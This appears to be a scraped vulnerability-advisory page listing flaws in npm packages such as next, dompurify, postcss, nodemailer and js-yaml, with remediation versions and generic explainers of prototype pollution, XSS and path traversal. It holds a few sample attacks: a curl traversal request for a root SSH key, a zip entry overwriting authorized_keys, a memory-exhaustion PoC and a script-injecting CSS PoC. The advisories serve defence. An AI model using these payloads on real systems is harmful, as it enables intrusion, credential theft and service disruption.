Find, fix and prevent vulnerabilities in your code.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 3.15.0, 4.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.

Workaround

This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of an upper bound on the disk cache used by the image optimization. An attacker can exhaust disk storage by generating a large number of unique image optimization variants, leading to service disruption.

Workaround

This vulnerability can be mitigated by periodically cleaning the .next/cache/images directory or by reducing the number of possible image variants through configuration of images.localPatterns, images.remotePatterns, and images.qualities.

Remediation

Upgrade next to version 16.1.7, 16.2.0-canary.54 or higher.

References

• GitHub Commit
• GitHub Release

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Server Actions process. An attacker can cause the server to hang by constructing requests that leave Server-Actions requests pending until the hosting provider terminates the function execution.

Note:

This is only exploitable if there are no protections against long-running Server Action invocations.

Remediation

Upgrade next to version 13.5.8, 14.2.21, 15.1.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.

Remediation

Upgrade nodemailer to version 8.0.5 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.

Remediation

Upgrade nodemailer to version 7.0.7 or higher.

References

• GitHub Commit
• Red Hat Bugzilla Bug

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal in the PreviousMap.loadFile() method of lib/previous-map.js, which nests its traversal guard inside an if (cssFile) branch that is skipped when the from option is unset, leaving only a check that the target path ends in .map. An attacker can read arbitrary .map files from the filesystem, disclosing their sources paths and sourcesContent through the generated source map, by placing an absolute or ../ path in a sourceMappingURL comment in the processed CSS. This requires the application to process attacker-influenced CSS without the from option, with map enabled and the source-map module available, and then expose result.map to the attacker, and the read is limited to JSON-parseable files ending in .map.

Workaround

This vulnerability can be avoided by passing an explicit from option when processing untrusted CSS, which restores the traversal guard that is otherwise skipped.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-45623.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.23 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

• GitHub Commit
• GitHub PR
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Operator Precedence Logic Error in the form of short-circuit evaluation that gives precedence to ADD_TAGS over FORBID_TAGS in _sanitizeElements(). In an application where ADD_TAGS is used as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) and FORBID_TAGS is in use, an attacker can cause forbidden tags to be allowed.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data through the improper handling of the x-nextjs-data header in middleware or proxy redirect responses. An attacker can disrupt access to redirect paths by injecting this header in requests, causing the middleware to generate a redirect response lacking a standard Location header. If a CDN or reverse proxy caches this malformed response without varying on the injected header, subsequent users may receive unusable redirects, resulting in service disruption until the cache is cleared.

Workaround

This vulnerability can be mitigated by configuring the CDN or reverse proxy to vary its cache key on x-nextjs-data for affected responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

• GitHub Release
• GitHub Release
• Maintainer's Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handleAction Server Actions path in the App Router Edge runtime. An attacker can exhaust server memory by sending an oversized Server Action request, especially a multipart form submission, because the Edge handler reads the full body without enforcing serverActions.bodySizeLimit. This can crash or destabilize affected deployments and prevent legitimate Server Action requests from being processed.

Notes

• Affected deployments need App Router pages with at least one Server Action running in the Edge runtime; the issue is in that execution path rather than in Server Actions generally.
• The advisory’s practical ceiling is tied to hosting-side request body limits: if the platform does not cap uploads, an oversized multipart action request can still drive memory growth before application code sees it.

Workarounds

• Limit Server Actions request bodies at your hosting provider to 5 MiB maximum, so oversized multipart submissions cannot reach the Edge runtime and trigger excessive memory use.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling during the rewrite of the proxy traffic to an external backend. An attacker can access unintended backend routes by sending crafted DELETE or OPTIONS requests with Transfer-Encoding: chunked headers. This is only exploitable if the application is not hosted on providers that handle rewrites at the CDN level.

Workaround

This vulnerability can be mitigated by blocking chunked DELETE/OPTIONS requests on rewritten routes at the edge/proxy, or by enforcing authentication and authorization on backend routes.

Remediation

Upgrade next to version 15.5.13, 16.1.7, 16.2.0-canary.102 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

next is a react framework.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the IncrementalCache.generateCacheKey function in next/dist/server/lib/incremental-cache. An attacker can make a server-side fetch return a cached response body from a different request by sending POST requests to the same URL with different non-UTF-8 request bodies that collapse to the same cache key. The affected cache key generation decodes request bodies as strings, so distinct byte sequences with invalid UTF-8 can hash to the same entry even though the requests are not deduped. This can leak confidential response data from one POST to an unauthorized request that uses a colliding body, breaking response isolation for server-side cached fetches.

Notes

• Applications using Pages Router are not affected; the advisory’s cache-key confusion is in the server-side fetch cache path used by the App Router/IncrementalCache flow.
• The issue is only reachable when request bodies are sent with a non-UTF-8 charset or otherwise contain byte sequences that do not round-trip as UTF-8; default UTF-8 request bodies do not trigger the collision described in the advisory.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

next is a react framework.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in action-handler.ts and action-utils.ts. An attacker can enumerate internal Server Action IDs by sending crafted Next-Action requests or probing client-served artifacts that reference those IDs. This exposes the presence of internal server functions and enables endpoint discovery on apps that use Server Actions, increasing the risk of further abuse when combined with other weaknesses.

Notes

• Publicly served client artifacts can reveal the full Server Action ID format, so the disclosure is not limited to active probing with Next-Action; attackers can also recover candidate IDs from browser-delivered chunks and manifests in apps that ship Server Actions.
• The advisory also covers use cache endpoints exposed through the same App Router server-function machinery, not just use server actions.

Workarounds

• Never assume authentication at the use cache or use server boundary; authenticate inside the Server Action or cache boundary itself so unauthenticated users cannot reach the internal endpoint.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to Interpretation Conflict via improper handling of shared cache entries for React Server Component responses. An attacker can cause unintended component payloads to be served to other users by manipulating shared cache behavior through crafted requests.

Workaround

This vulnerability can be mitigated by ensuring your CDN or reverse proxy keys on the relevant RSC request headers honor Vary, or by disabling shared caching for affected App Router and RSC responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

• GitHub Release
• GitHub Release
• Maintainer's Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to Race Condition in the Pages Router. An attacker can cause the server to serve incorrect pageProps data instead of the expected HTML content by exploiting a race condition between two requests, one containing the ?__nextDataRequest=1 query parameter and another with the x-now-route-matches header.

Notes:

1. This is only exploitable if the CDN provider caches a 200 OK response even in the absence of explicit cache-control headers, enabling a poisoned response to persist and be served to subsequent users;

2. No backend access or privileged escalation is possible through this vulnerability;

3. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on 200 OK status without explicit cache-control headers.

4. This is a bypass of the fix for CVE-2024-46982

Workaround

This can be mitigated by stripping the x-now-route-matches header from all incoming requests at your CDN and setting cache-control: no-store for all responses under risk.

Remediation

Upgrade next to version 14.2.24, 15.1.6 or higher.

References

• GitHub Commit
• Vercel Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the image optimization process, when responses from API routes vary based on request headers such as Cookie or Authorization. An attacker can gain unauthorized access to sensitive image data by exploiting cache key confusion, causing responses intended for authenticated users to be served to unauthorized users.

Note: Exploitation requires a prior authorized request to populate the cache.

Remediation

Upgrade next to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• Vercel Security Advisory

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Weak Hash via collisions in the _rsc cache-busting process. An attacker can manipulate cache entries by crafting requests that cause shared caches to serve incorrect response variants to users. This is only exploitable if deployments rely on shared caches with insufficient response partitioning.

Workaround

This vulnerability can be mitigated by ensuring intermediary caches correctly honor Vary for RSC-related request headers, or by disabling shared caching for affected RSC responses until a patched release is deployed.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

• GitHub Release
• GitHub Release
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

• GitHub Issue
• GitHub PR

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in createPatchedFetcher in packages/next/src/server/lib/patch-fetch.ts. An attacker can leak a cached response body from one request to another by sending server-side fetch(new Request(...), init) calls to the same URL with different request bodies or overrides. When the Request object and the separate init object diverge, the fetch cache can key the request differently from the effective upstream request, so a response generated for one body is reused for a different body. This exposes confidential data in cached POST responses to unauthorized requests.

Notes

• Applications using the Pages Router are not in scope for this issue; the advisory applies to the server-side patched fetch path.
• The leak requires fetch(new Request(...), init) where the separate init overrides the base Request; fetch(new Request(init), init) is the safe shape called out by the maintainers.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.

Remediation

Upgrade nodemailer to version 8.0.8 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

@apidevtools/json-schema-ref-parser is a Parse, Resolve, and Dereference JSON Schema $ref pointers

Affected versions of this package are vulnerable to Prototype Pollution in the Pointer.set process. An attacker can modify object prototype attributes by supplying crafted input to the process remotely.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade @apidevtools/json-schema-ref-parser to version 15.3.6 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers such as script, xmp, iframe, noembed, noframes, or noscript. An attacker can execute arbitrary JavaScript code in the client by crafting input that closes the special parsing context early and injects malicious markup, which is then interpreted during the second parse.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs in the ADD_ATTR predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. An attacker can inject and execute malicious scripts in the DOM by bypassing URI validation for specific attribute and tag combinations, such as allowing href attributes with unsafe protocols like javascript:.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the USE_PROFILES function. An attacker can execute arbitrary JavaScript code in the context of the user’s browser by polluting Array.prototype with event handler attributes, causing the sanitizer to incorrectly allow dangerous attributes such as onclick.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

• GitHub Commit
• GitHub Gist
• GitHub PR

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML noscript, xmp, noembed, noframes, and iframe attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
